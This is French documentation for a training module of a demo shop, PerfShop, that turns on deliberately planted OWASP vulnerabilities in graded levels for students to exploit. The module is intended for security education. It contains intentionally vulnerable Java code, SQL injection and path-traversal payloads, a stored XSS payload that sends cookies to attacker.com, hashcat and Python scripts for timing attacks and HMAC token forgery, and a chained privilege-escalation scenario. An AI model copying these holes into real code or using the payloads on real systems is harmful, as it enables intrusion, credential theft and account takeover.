Aller au contenu

Chaos Sécurité

Le Chaos Sécurité injecte des failles de sécurité web classiques (OWASP Top 10) dans le parcours e-commerce de PerfShop. Contrairement au Chaos Métier (logique fonctionnelle), ces anomalies touchent la surface d'attaque : injection SQL, contrôle d'accès, exposition de données, etc.


Principe pédagogique

Les étudiants doivent identifier, exploiter et documenter les failles — pas les corriger.

Règle d'or

Avec les bonnes données de test, une commande doit toujours pouvoir aboutir, quel que soit le niveau actif. Les failles sont pédagogiques — elles ne bloquent pas le parcours.

Les failles sont cumulatives : le niveau 2 inclut les failles du niveau 1, etc.

Usage pédagogique uniquement

Environnement isolé. Ne jamais utiliser ces techniques sur des systèmes réels.


Niveaux

Niveau Label Failles actives Profil étudiant
0 Désactivé 0 Référence — tout sécurisé
1 Junior 3 (S1–S3) Burp Suite basique, curl
2 Confirmé 6 (S1–S6) Scripts Python/JS, proxy, timing
3 Expert 9 (S1–S9) Exploitation HMAC, traversal avancé
4 Master 12 (S1–S12) Fuzzing, scénario chaîné, élévation de privilèges

Failles niveau 1 — Junior

S1 · Injection SQL sur /api/products/search

OWASP A03 — Injection

Implémentation : ProductController.searchProducts() + ProductRepository.slowSearchFullScan()

// Niveau 0 : JPQL paramétré — aucune injection possible
productService.searchProducts(q, category, minPrice, maxPrice, pageable);

// Niveau 1+ : SQL native sans PreparedStatement — injection possible
List<Product> raw = productRepository.slowSearchFullScan(q);
// → SELECT * FROM products WHERE name LIKE '%<q>%'  (q non échappé)

Exploitation :

GET /api/products/search?q=' OR '1'='1
→ retourne TOUS les produits (bypass du filtre)

GET /api/products/search?q='; SELECT password FROM users--
→ erreur SQL révélatrice de la structure de la base

Détection : injection ' dans le paramètre q → message d'erreur SQL dans la réponse ou comportement anormal.


S2 · IDOR sur les commandes

OWASP A01 — Broken Access Control

Implémentation : OrderController.getOrder() et getOrderDetails()

// Niveau 0 : vérification d'appartenance stricte
if (!order.getUser().getId().equals(user.getId())) return 403;

// Niveau 1+ : vérification désactivée — tout user connecté peut voir n'importe quelle commande
if (securityChaosService.isIdorActive()) {
    // log cross-user si détecté, mais retourne la commande sans 403
    return ResponseEntity.ok(order);
}

Exploitation :

GET /api/orders/1       → commande de l'utilisateur #1 (même connecté en tant qu'user #42)
GET /api/orders/2       → commande de l'utilisateur #2
→ Enumération séquentielle possible : 1, 2, 3, ...

Détection : remplacer l'ID dans l'URL par un ID d'une autre commande → réponse 200 au lieu de 403.


S3 · Hash BCrypt exposé dans /api/auth/me

OWASP A02 — Cryptographic Failures

Implémentation : UserController.getProfile()buildProfileDtoWithHash()

// Niveau 0 : DTO sans champ password
buildProfileDto(fresh);

// Niveau 1+ : hash BCrypt ajouté au DTO
dto.put("password", u.getPassword()); // "$2a$10$..."

Exploitation :

GET /api/auth/me
→ {
    "email": "user@example.com",
    "password": "$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
    ...
  }

Le hash BCrypt peut être attaqué hors-ligne par dictionnaire (hashcat, john) :

hashcat -m 3200 hash.txt rockyou.txt

Détection : observer la réponse de /api/auth/me — présence du champ password avec un hash $2a$.


Failles niveau 2 — Confirmé

S4 · XSS stocké dans l'adresse de livraison

OWASP A03 — Injection

Implémentation : OrderController.createOrder()SecurityChaosService.processShippingAddress()

// Niveau 0 : adresse sanitisée (XSS impossible)
// Niveau 2+ : adresse stockée telle quelle en base de données
return address; // "<script>alert('XSS')</script> stocké en DB"

Exploitation :

POST /api/orders
{
  "shippingAddress": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>",
  ...
}

L'adresse est stockée en DB — si un admin visualise la liste des commandes sans échappement HTML, le script s'exécute dans son navigateur (XSS persistant / stocké).

Détection : soumettre une commande avec une payload <script>alert(1)</script> dans l'adresse, puis vérifier que la réponse ou la page admin affiche la balise non échappée.


S5 · Falsification de prix

OWASP A04 — Insecure Design

Implémentation : OrderController.createOrder() lit unitPrice depuis le body JSON et l'injecte via _chaosClientPrice dans OrderService.createOrderFromItems()

// Niveau 0 : prix récupéré depuis la DB (product.getPrice())
BigDecimal basePrice = product.getPrice();

// Niveau 2+ : prix du client accepté sans vérification
Object chaosPrice = rawItem.get("_chaosClientPrice");
if (chaosPrice instanceof BigDecimal cp) basePrice = cp;

Exploitation :

POST /api/orders
{
  "items": [
    { "productId": 1, "quantity": 1, "unitPrice": 0.01 }
  ]
}
 Commande créée avec total = 0,01  au lieu de 99,99 

Détection : intercepter la requête POST /api/orders (Burp Suite), modifier unitPrice → observer le totalAmount dans la réponse.


S6 · Timing Attack sur le login

OWASP A07 — Identification and Authentication Failures

Implémentation : AuthController.login() mesure et logue le temps de réponse

long startMs = System.currentTimeMillis();
Optional<User> userOpt = authService.login(email, password, session);
long timingMs = System.currentTimeMillis() - startMs;

// Niveau 2+ : timing loggué et observable
securityChaosService.recordTimingAttack(email, userOpt.isPresent(), timingMs);

Comportement observable :

Cas Durée Explication
Email inexistant < 5 ms Pas de BCrypt — retour immédiat
Email existant (mauvais MDP) ~300 ms BCrypt s'exécute même si le mot de passe est faux

Exploitation :

import requests, time

emails = ["admin@perfshop.fr", "test@test.com", "unknown@xyz.com"]
for email in emails:
    t0 = time.time()
    requests.post("/api/auth/login", json={"email": email, "password": "wrong"})
    ms = (time.time() - t0) * 1000
    print(f"{email}: {ms:.0f}ms {'→ COMPTE EXISTANT' if ms > 200 else ''}")

Détection : mesurer les temps de réponse pour des emails connus vs inconnus — l'écart de ~300ms révèle l'existence d'un compte.


Failles niveau 3 — Expert

S7 · Token HMAC à clé faible

OWASP A02 — Cryptographic Failures

Implémentation : AuthController.login() → header X-Debug-Token, signé avec SecurityChaosService.WEAK_HMAC_KEY = "secret123"

Format du token :

base64url(userId:timestamp).base64url(hmac-sha256("secret123", "userId:timestamp"))

Exploitation :

  1. Se connecter → intercepter le header X-Debug-Token
  2. Décoder la partie gauche (Base64url) → obtenir userId:timestamp
  3. Modifier le userId (ex: 1 pour l'admin)
  4. Re-signer avec la clé "secret123" visible dans les sources :
import hmac, hashlib, base64, time

key = b"secret123"
payload = f"1:{int(time.time()*1000)}"  # userId=1 (admin)
sig = hmac.new(key, payload.encode(), hashlib.sha256).digest()

token = (
    base64.urlsafe_b64encode(payload.encode()).rstrip(b'=').decode() +
    "." +
    base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
)
print("X-Debug-Token:", token)

Détection : capturer le header X-Debug-Token dans la réponse de POST /api/auth/login, décoder la partie gauche en Base64url.


S8 · Path Traversal sur l'endpoint facture

OWASP A01 — Broken Access Control

Implémentation : OrderController.getInvoice()SecurityChaosService.processInvoiceFormat()

// Niveau 0-2 : seuls "pdf" et "csv" sont acceptés
if (!"pdf".equals(format) && !"csv".equals(format)) return 400;

// Niveau 3+ : format non validé — traversal simulé
PathTraversalResult result = securityChaosService.processInvoiceFormat(format, id, email);

Exploitation :

GET /api/orders/1/invoice?format=../../etc/passwd
→ { "content": "# [SIMULE] /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\n..." }

GET /api/orders/1/invoice?format=../../application.yml
→ { "content": "# [SIMULE] application.yml\nspring.datasource.password=[REDACTED]" }

Simulation pédagogique

L'accès filesystem est simulé — aucun fichier réel n'est lu. Le contenu retourné est fictif, conçu pour montrer ce qu'un vrai traversal exposerait.

Détection : ajouter ../ dans le paramètre format → observer si la réponse contient du contenu de fichier système.


S9 · Mass Assignment sur le profil

OWASP A08 — Software and Data Integrity Failures

Implémentation : UserController.updateProfile()SecurityChaosService.detectAndRecordMassAssignment()

// Niveau 0-2 : whitelist stricte — seuls civility, firstName, lastName, etc. sont traités
// Niveau 3+ : champs sensibles du body acceptés sans whitelist
if (securityChaosService.isMassAssignmentActive()) {
    for (String field : detected) {
        switch (field) {
            case "email"    -> user.setEmail(val);
            case "password" -> user.setPassword(val); // hash non appliqué — faille intentionnelle
        }
    }
}

Exploitation :

PUT /api/auth/me
{
  "firstName": "Hacker",
  "email": "admin@perfshop.fr",
  "password": "monNouveauMotDePasse"
}
 L'email et le mot de passe sont modifiés sans vérification

Cas particulier du mot de passe

En mode mass assignment, le mot de passe est stocké en clair (sans BCrypt) — c'est une faille intentionnelle illustrant une implémentation naïve sans hachage.

Détection : envoyer email ou password dans le body de PUT /api/auth/me → vérifier si les valeurs sont appliquées en consultant /api/auth/me.


Observabilité

Chaque faille déclenchée produit :

  • un log WARN dans les logs du container perfshop-app (préfixe [SecurityChaos][SN])
  • une entrée dans l'activity log visible dans l'onglet Sécurité du monitoring

Endpoint logs :

GET /api/chaos/public/security/logs

Endpoint statut + compteurs :

GET /api/chaos/public/security/status

Endpoint catalogue pédagogique :

GET /api/chaos/public/security/faults?level=3


Failles niveau 4 — Master

Scénario chaîné S10 → S11 → S12

Le niveau Master expose un portail admin caché accessible via la route /admin du shop. Les trois failles forment une chaîne d'attaque progressive menant à une élévation complète de privilèges.

S10 · Stats portail sans authentification

OWASP A09 — Security Logging and Monitoring Failures / Broken Access Control

Implémentation : AdminPortalController.getPortalStats()

GET /api/admin/portal/stats
→ 404 si level < 4
→ 200 si level == 4 (sans authentification)

Réponse exposée :

{
  "userCount": 42,
  "orderCount": 137,
  "productCount": 50,
  "adminContact": "admin@perfshop.fr",
  "version": "PerfShop Portal v1.0",
  "status": "operational"
}

Le champ adminContact expose l'email du superadmin — information clé pour l'exploitation de S11.

Découverte : fuzzing de routes (/admin, /api/admin/portal/stats) ou analyse du bundle JS React.


S11 · SQLi sur le login du portail

OWASP A03 — Injection

Implémentation : AdminPortalController.portalLogin() — requête native concaténée

// INTENTIONNELLEMENT vulnérable
String sql = "SELECT * FROM admin_users WHERE email = '" + emailPayload + "' LIMIT 1";
entityManager.createNativeQuery(sql, AdminUser.class).getResultList();

Exploitation :

POST /api/admin/portal/login
{ "email": "admin' OR '1'='1' --", "password": "anything" }

→ 200 OK
{
  "success": true,
  "adminToken": "<uuid>",
  "email": "admin@perfshop.fr",
  "isSuperAdmin": false
}

Le token adminToken est injecté dans VALID_ADMIN_TOKENS — il donne accès au chaos-admin et au monitoring.


S12 · IDOR — élévation de privilèges

OWASP A01 — Broken Access Control

Implémentation : AdminPortalController.promoteAccount() — vérification isSuperAdmin absente

// Auth minimale : token requis, mais PAS la vérification isSuperAdmin
if (!AdminAuth.isAdmin(session, tok)) return 401;
// FAILLE : normalement seul un superAdmin peut promouvoir
target.setSuperAdmin(true);
adminUserRepository.save(target);

Exploitation :

PUT /api/admin/portal/accounts/1/promote
X-Admin-Token: <token obtenu via S11>

→ 200 OK
{
  "success": true,
  "email": "admin@perfshop.fr",
  "isSuperAdmin": true,
  "message": "Compte promu superAdmin avec succès"
}

L'attaquant dispose maintenant d'un accès superAdmin complet.


Scénario complet Master

1. Fuzzing → découverte de /admin dans le bundle JS React
2. GET /api/admin/portal/stats [S10] → email superadmin récupéré sans auth
3. POST /api/admin/portal/login avec payload SQLi [S11] → adminToken valide
4. Accès au chaos-admin et monitoring avec le token obtenu
5. PUT /api/admin/portal/accounts/1/promote [S12] → superAdmin

Portail caché — comportement réaliste

Quand level < 4, tous les endpoints /api/admin/portal/* retournent 404 avec corps vide — indiscernable d'un endpoint inexistant pour un scanner automatique. La route React /admin est toujours dans le bundle JS mais les API ne répondent pas.


Corrélation faille → monitoring

Faille Type log Sévérité Signal monitoring
S1 SQLi S1_SQLI ERROR/WARN Compteur S1_sqli
S2 IDOR S2_IDOR ERROR Compteur S2_idor
S3 Hash S3_HASH WARN Compteur S3_hash
S4 XSS S4_XSS ERROR/WARN Compteur S4_xss
S5 Prix S5_PRICE ERROR Compteur S5_price
S6 Timing S6_TIMING WARN/ERROR Compteur S6_timing
S7 Token S7_TOKEN WARN/ERROR Compteur S7_token
S8 Path S8_PATH ERROR Compteur S8_path
S9 Mass S9_MASS ERROR Compteur S9_mass
S10 Stats S10_PORTAL ERROR Compteur S10_portal
S11 SQLi portail S11_SQLI ERROR/WARN Compteur S11_sqli
S12 Privesc S12_IDOR ERROR Compteur S12_idor

Contrôle admin

POST /api/admin/chaos/security
{ "level": 1 }          # 0 = off, 1 = Junior, 2 = Confirmé, 3 = Expert, 4 = Master

Accessible depuis l'onglet 🔒 Chaos Sécurité du chaos-admin.

Reset :

POST /api/admin/chaos/security/reset

Également inclus dans le Reset tout global (POST /api/admin/chaos/reset).